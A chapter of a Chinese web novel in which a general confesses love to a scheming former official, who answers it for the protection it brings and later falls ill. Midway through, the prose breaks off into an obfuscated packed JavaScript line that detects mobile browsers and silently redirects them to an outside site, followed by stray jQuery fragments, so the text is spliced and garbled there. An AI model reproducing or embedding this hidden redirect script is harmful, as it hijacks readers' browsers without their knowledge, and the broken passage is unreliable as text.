32. 第 32 章

作品:《权臣沦落万人嫌后

    傅柏川没有着急说,反倒是把林羿礼羞赧抗拒的模样牢牢地刻在眼底,难得能瞧见林羿礼表露出这副神情。


    明明对三流话本上的黄.暴内容能面不改色地打趣他,却会因为他什么都没说就变得怯懦无言。


    林羿礼的脑袋偏向一侧,低了下去:“他已经走了,将军不用再演。”


    “林羿礼。”


    傅柏川轻声唤出他的名字。


    林羿礼这次没有接上一句“嗯”。


    他眼皮颤抖,无声告诉傅柏川他在听。


    傅柏川的手似羽毛飘在林羿礼不安的眼皮上,“你为什么会害怕这种事?你应当是自小便有无数人追捧,按理说你早该习惯。”


    虚情假意的追捧爱慕,林羿礼自然能笑吟吟地收下。


    可傅柏川不一样。


    他怕傅柏川是真心的。


    真心待真心这事林羿礼不会。


    他同皇帝也曾真心做过朋友,他以为他同皇帝是携手共进,哪怕是互相利用也是双赢局面。


    结局来得很快,他不过遭鬼上身一回,皇帝就将他直接舍弃。


    再醒来时他便成了荒郊野岭里的死囚犯,离那京城远远的,一眼敲不到家的方向。


    林羿礼抬手扫去落在他眼皮上的手,再睁眼时神情已与往常无异,甚至笑得愈发明显。


    傅柏川从他身上看到了他们初次相遇时,林羿礼那股假惺惺的皮笑肉不行。


    “若将军真将那句话说出,我只当将军爱慕我的容颜,不会去当真。”


    不用傅柏川去说,林羿礼已经先一步委婉拒绝。


    “我见过你死去的模样,被粗麻绳绞紧脖子,眼睛往上翻去,脸上的五官因为窒息与绞肉的剧痛而扭曲。”


    林羿礼的神情暗下来,连着声音一同变得随意,鼻腔震出一口气变当做回应。


    他摸不准傅柏川的想法,为何突然要提到这件事?


    林羿礼侧过身去,却被傅柏川抓着折正回来。


    傅柏川说:“但那夜你在廊上问我,你是不是不漂亮,我还没有回答。”


    林羿礼静听。


    “你很漂亮,非常漂亮,未曾不漂亮。”


    即便是林羿礼死后的模样,即便脖子拧断,傅柏川也能坦诚接受。


    “多谢将军夸奖。”


    林羿礼依旧那副淡笑的模样,没有不安,没有惶恐,更多的是平静,静得仿若一潭死水。


    傅柏川与林羿礼依旧是十指相抵的状态。


    两人的温度实在算水火不相容,哪怕攥了这么久,谁也没能影响对方的温度一丝一毫。


    “你的确不算好人,自私又任意妄为,虚假且毫无底线。”


    傅柏川的声音冷了下来,连他自己都觉得爱上林羿礼是一件非常不可思议的事情。


    “可我也不算好人,从你在地牢里开始,我明知你谎话连篇却依旧选择给你机会,因为是我先贪图你的美色。”


    傅柏川的声音带着颤抖,他清楚地知晓这些话说完后,就会把林羿礼赶得远远的。


    “我们能有现在这一刻,都是我被你吸引自甘堕落,是我放纵你为了活命对我的肆意利用,你每一次为了活下去对我的靠近,我都非常享受。”


    傅柏川的手向旁一侧错开,十指相抵变成十指相扣。


    “你——”


    林羿礼的话没说出。


    傅柏川的脑袋里装着不少用于此刻的浪漫诗词,可千言万语只归结于一句直白的:“我爱你”


    突然的一颗豆大的泪珠砸下,趴在林羿礼的鼻尖上,把他鼻翼上的黑痣晕出蒙影。


    眼泪滑下,悬在林羿礼的唇缝里,渗进唇齿间。


    林羿礼仰头不解地望向傅柏川。


    为何会流泪?


    林羿礼尝到他的酸涩,却不知他的酸苦。


    林羿礼不为所动,由着他的泪水垂下,一滴、一滴浸湿自己的脸颊。


    此刻林羿礼脑子一片空白。


    他见过太多的爱慕之言,但那些爱慕者只见过他的好。


    他只需表现地虚假些、恶劣些,那些人便拿他当不值得的烂人避退三舍,还要说他浪费别人心意。


    唯有傅柏川将他的不好挖出来赤果果地摆在心意里。


    傅柏川见他,是从肮脏腐臭,布满烂泥的死牢里开始。


    傅柏川了解他,是从日日夜夜,真真假假的男宠开始。


    傅柏川说爱他,是爱他最狼狈的那一面,从不是那远在京城高高在上的“大理寺卿”,或是空有皮囊内里腐烂的“美人”。


    林羿礼不明白如何回应,他抬手按在自己唇上的湿黏泪水上,再抬眼将傅柏川此刻狼狈烙进眼底。


    林羿礼想,如果拒绝了傅柏川,他就失去将军府这一方势力的保护,他再无法与李绥一、与严骁两方势力相抗衡。


    半晌的安静后,林羿礼主动擦去傅柏川眼下的泪珠。


    托起傅柏川的脸,踮起脚,仰起头,一个轻似雪花的吻落在傅柏川的嘴角。


    这吻似无法融化的冷意,却又很快融化消失不见,只留下冷意。


    “将军,我也爱您。”


    林羿礼轻声说,似哄似呢喃。


    却不料傅柏川的眼泪淌得更凶了。


    长得那么凶一个男人,此刻却在林羿礼的怀中哭得花了脸,泪痕扒在脸上形成条条复杂的花纹。


    为何要哭?


    在哭什么?


    林羿礼一概不知,他向来只会辜负。


    林羿礼两只手垂下,叠放在身前,再无任何动作。


    他对傅柏川束手无策。


    傅柏川哭得很沉默,一声不吭。


    只有眼泪一直在掉,像是金州城的雨,并不密集,带着北地的苦闷与粗犷。


    宽大的胸膛拦在林羿礼面前,像浸满水的枕头,柔软沉重,带着令人不适的窒息感。


    林羿礼擦去唇边的泪水,指尖浸染的湿润被他擦回傅柏川肩上。


    “将军,时候不早,您该离开了。”


    林羿礼的视线越过傅柏川的肩线,看向视线尽头的房门。


    傅柏川转过身去。


    林羿礼松了口气,紧绷地身体舒展开来。


    傅柏川离开了。


    他走得干脆,不带任何留恋,也没有任何话要同林羿礼说。


    丫鬟们见傅柏川走了,连忙涌了进来,扶着林羿礼坐回镜匣前接着梳妆打扮。


    林羿礼从镜子里瞥见他脑后水蓝色的发带被换成深色,表情立刻垮了下来,阴沉沉地训问:“本公子喜好是甚你们全然不知?”


    说着,便直接将发带扯下,如泼水般丢到一旁去。


    小丫鬟们想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534516|154965||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    解释,掌事的大丫鬟连忙表情与手势一同摆出,警告她们不要说话。


    “是奴才们照顾不周,连如此重要的事情都能疏忽。”


    大丫鬟跪下道歉,年轻的小丫鬟们便立马跟上,一同跪在林羿礼面前。


    林羿礼不是爱罚跪姑娘的人,见他们跪下后又没多久又摆手示意起身。


    大丫鬟绕去衣架边,捧着厚实的新衣裳送往林羿礼面前:“只是傅将军托人送来的这身衣裳配着墨蓝色的发带是否更为合适?”


    林羿礼这才想起这根深色发带的由来,是他亲口下令由水蓝淡色换成墨蓝深色,只为搭配傅柏川送来的新衣裳。


    林羿礼大大方方道:“送你了。”


    “承公子厚爱,奴婢不敢,只是公子今日不愿穿这件衣裳的话,奴婢便去给您换身新的。”


    “去吧。”


    林羿礼撑着头,疲惫地揉着脑袋。


    几个香喷喷的丫鬟上前,用着柔软细嫩的手帮他揉捏。


    林羿礼忽然就不由得想起傅柏川那双粗糙的大手,那双手刮得人脸蛋发红发痛,像刺似扎进去。


    没多久大丫鬟便回来了,抱着一身淡白还添着嫩黄的冬服回来,色调、材质、制式都是林羿礼在朝为官时正流行的。


    林羿礼看了眼衣服,又看了眼大丫鬟,没说什么,由着姑娘们替他穿上。


    “你叫什么名字?”林羿礼忽然问她。


    大丫鬟受宠若惊,“奴婢名为阿雁。”


    “旧时王谢堂前燕的燕?”


    大丫鬟摇头否认:“是金州城草原上飞的大雁。”


    “那你扶我去外边走走吧,这金州城的景致我还未欣赏过。”


    阿雁说好,扶着林羿礼瘦弱的身子,小心翼翼领着他往外走。


    林羿礼花了几天的时间绕着金州城的城墙外逛了许久,阿雁会御马,所以林羿礼出行往往就是她与他。


    金州城外的景致聊胜于无,城墙下插了几颗要死不死的枯树,枯草沿着视线所及的地方一路疯长,除却这一副死气沉沉的光景外,也就只剩头顶盘旋着向南飞的大雁。


    没过几天,风寒便找上他。


    卧病在床,咳得血污了几床被褥。


    林羿礼整日整日的昏迷不醒,醒了也是浑浑噩噩。


    傅柏川来看过他一次,刻着“林羿礼”三字的腰牌在当夜重新出现在面前,而后傅柏川再没来过,也不知去忙些什么。


    李绥一因新伤旧疾一起发作,情况比林羿礼好不了多少,倒给了林羿礼难得的安静。


    按理来说,风寒不该如此难以痊愈,这都拜林羿礼那犟驴似的性子。


    他想着傅柏川不在府中做主,以他这不算好的性子必定有不少人恨他,所以这端来的药里,他担心有人下毒。


    林羿礼就这样拖着病体,一日复一日的在床上干熬。


    “咳咳——”


    林羿礼被喉头的淤血堵塞痛醒,喉咙里似塞了刺,明明是断掉的脖子却痛得异常明显。


    忽然间,他感觉到耳边有人轻微的呼了口气,并不十分明显,也不是故意冲他来的。


    林羿礼循着方向看去。


    他确信,在他的右手边,的确藏着一个人。


    那人匿在黑暗里,让人看不清实质,可是那人投来的注视十分强烈,让林羿礼无法忽视。